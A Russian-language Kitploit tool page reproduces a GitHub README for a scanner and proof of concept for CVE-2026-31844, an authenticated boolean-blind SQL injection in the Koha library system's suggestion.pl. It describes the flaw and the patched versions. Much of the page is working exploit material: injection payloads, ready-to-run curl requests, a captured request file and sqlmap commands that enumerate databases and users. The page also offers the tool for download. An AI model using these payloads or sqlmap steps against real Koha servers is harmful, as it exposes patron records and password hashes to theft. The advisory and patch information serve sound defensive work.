Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-31844 — Аутентифицированный сканер SQL-инъекций для системы управления библиотекой Koha (CVE-2026-31844), использующий технику слепой инъекции на основе булевых условий для проверки уязвимости и извлечения данных. | Kitploit
Инструменты/GitHubGitHub/mothra-1/cve-2026-31844
Сканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubmothra-1/cve-2026-31844

CVE-2026-31844

Аутентифицированный сканер SQL-инъекций для системы управления библиотекой Koha (CVE-2026-31844), использующий технику слепой инъекции на основе булевых условий для проверки уязвимости и извлечения данных.

Репозиторий
116 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Koha CVE-2026-31844: Аутентифицированная SQL-инъекция

Release Python 3.6+ CVE ID License

Обзор

Этот репозиторий содержит ответственный PoC для CVE-2026-31844 — уязвимости аутентифицированной SQL-инъекции высокой степени серьёзности в библиотечной системе Koha.

Уязвимость существует в функции GetDistinctValues в C4/Search.pm, которая вызывается скриптом /cgi-bin/koha/suggestion/suggestion.pl. Она может быть эксплуатирована через параметр displayby.

Баг Koha:
#41593
  • Версии с исправлением: 26.05.00, 25.11.01, 25.05.07, 24.11.12
  • Детали уязвимости

    Параметр displayby в скрипте suggestion.pl используется для формирования имени столбца с квалификатором таблицы, которое затем передаётся в функцию GetDistinctValues. Однако эта функция напрямую встраивает как имя таблицы, так и имя столбца в необработанный SQL-запрос без какой-либо проверки входных данных или параметризации. В результате злоумышленник может манипулировать параметром displayby для внедрения вредоносного SQL-кода в запрос. Поскольку входные данные не очищаются перед включением в SQL-выражение, такое поведение создаёт уязвимость SQL-инъекции, которая может позволить злоумышленнику выполнять произвольные SQL-команды на базе данных с использованием техники Boolean-Based Blind.

    root@kitploit:~
    # suggestion.pl
    my $displayby = $input->param('displayby') || '';
    my $criteria_list = GetDistinctValues( "suggestions." . $displayby );
    

    Исследователь

    Рахимов Шукруллох (Mothra)

    Вы можете просканировать свою цель здесь

    Сканер использует технику Boolean-Based Blind для проверки уязвимости

    Внедряя условные выражения в позицию имени столбца, мы можем наблюдать дифференциальные HTTP-ответы:

    • IF(1=1, (SELECT 1 UNION SELECT 2), 1) → Ошибка подзапроса → HTTP 500
    • IF(1=2, (SELECT 1 UNION SELECT 2), 1) → Корректный запрос → HTTP 200

    Если цель возвращает 500 для истинного условия и 200 для ложного, уязвимость подтверждена.

    Установка и использование

    1. Клонирование репозитория

    root@kitploit:~
    git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
    cd CVE-2026-31844-Koha-Scanner
    

    2. Установка зависимостей

    root@kitploit:~
    pip3 install requests
    

    3. Запуск сканера

    Вы должны предоставить действительные учётные данные для учётной записи персонала Koha с разрешением suggestions.

    root@kitploit:~
    python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password
    

    Для целей с самоподписанными SSL-сертификатами:

    root@kitploit:~
    python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl
    

    4. Пример вывода

    root@kitploit:~
    ╔═══════════════════════════════════════════════════════════════╗
    ║           CVE-2026-31844 — Koha Vulnerability Scanner         ║
    ║       Authenticated SQLi in suggestion.pl (displayby)         ║
    ║                 (Responsible Check Only)                      ║
    ╚═══════════════════════════════════════════════════════════════╝
    
    [*] Target: http://koha.local:8081
    [*] Authenticating to staff interface as 'koha_admin'...
    [+] Authentication successful!
    
    ============================================================
     VULNERABILITY SCAN
    ============================================================
    [*] Testing vulnerability using safe Boolean-blind evaluation...
        [1] Testing baseline request (STATUS)... HTTP 200 (OK)
        [2] Testing TRUE condition evaluation... HTTP 500 (Expected Error)
        [3] Testing FALSE condition evaluation... HTTP 200 (OK)
    ============================================================
    
    [ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844 
    
    [! ] The target evaluated the SQL conditions and returned differential HTTP codes.
    [! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.
    

    Ручное подтверждение концепции (PoC)

    Вы можете вручную проверить уязвимость с помощью curl. Сначала аутентифицируйтесь в интерфейсе персонала Koha и захватите ваш cookie CGISESSID.

    Истинное условие (возвращает HTTP 500):

    root@kitploit:~
    curl -i -k \
      -H "Cookie: CGISESSID=your_session_id_here" \
      "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"
    

    Ложное условие (возвращает HTTP 200):

    root@kitploit:~
    curl -i -k \
      -H "Cookie: CGISESSID=your_session_id_here" \
      "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"
    

    5. Эксплуатация через SQLMap

    SQLMap нативно поддерживает boolean-based blind инъекции. Для автоматизации извлечения данных сохраните действительный аутентифицированный HTTP-запрос в request.txt. Поддерживайте действительными cookies csrf_token и CGISESSID.

    Пример request.txt:

    root@kitploit:~
    GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
    Host: koha.example.com
    Cookie: CGISESSID=your_session_id_here
    User-Agent: Mozilla/5.0
    

    Запустите SQLMap с boolean-техникой (--technique=B):

    root@kitploit:~
    # Базовое извлечение баз данных
    sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs
    
    # Извлечение текущего пользователя
    sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user
    

    Или запустите напрямую из командной строки:

    root@kitploit:~
    sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
      --cookie="CGISESSID=your_session_id_here" \
      -p displayby \
      --dbms=mysql \
      --technique=B \
      --current-db
    

    Через некоторое время sqlmap определит корректную полезную нагрузку.

    Воздействие

    Если уязвимость не исправлена, она позволяет аутентифицированному злоумышленнику:

    1. Извлекать конфиденциальную информацию (записи читателей, хэши паролей)
    2. Перечислять схему базы данных
    3. Полностью скомпрометировать серверную базу данных

    Меры по устранению

    Обновите Koha до версии 24.11.12, 25.05.07, 25.11.01 или 26.05.00 (или более поздней), которая включает исправление этой уязвимости.

    Авторы

    Рахимов Шукруллох (Mothra)

    Контакты

    Telegram-бот @MothraContact_bot

    Этические соображения

    Этот proof of concept предоставлен исключительно в образовательных и защитных целях. Всегда получайте надлежащее разрешение перед тестированием любой системы на уязвимости.

    Отказ от ответственности

    Автор не несёт ответственности за любое неправомерное использование этой информации. Этот proof of concept следует использовать только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.

    Скачать инструмент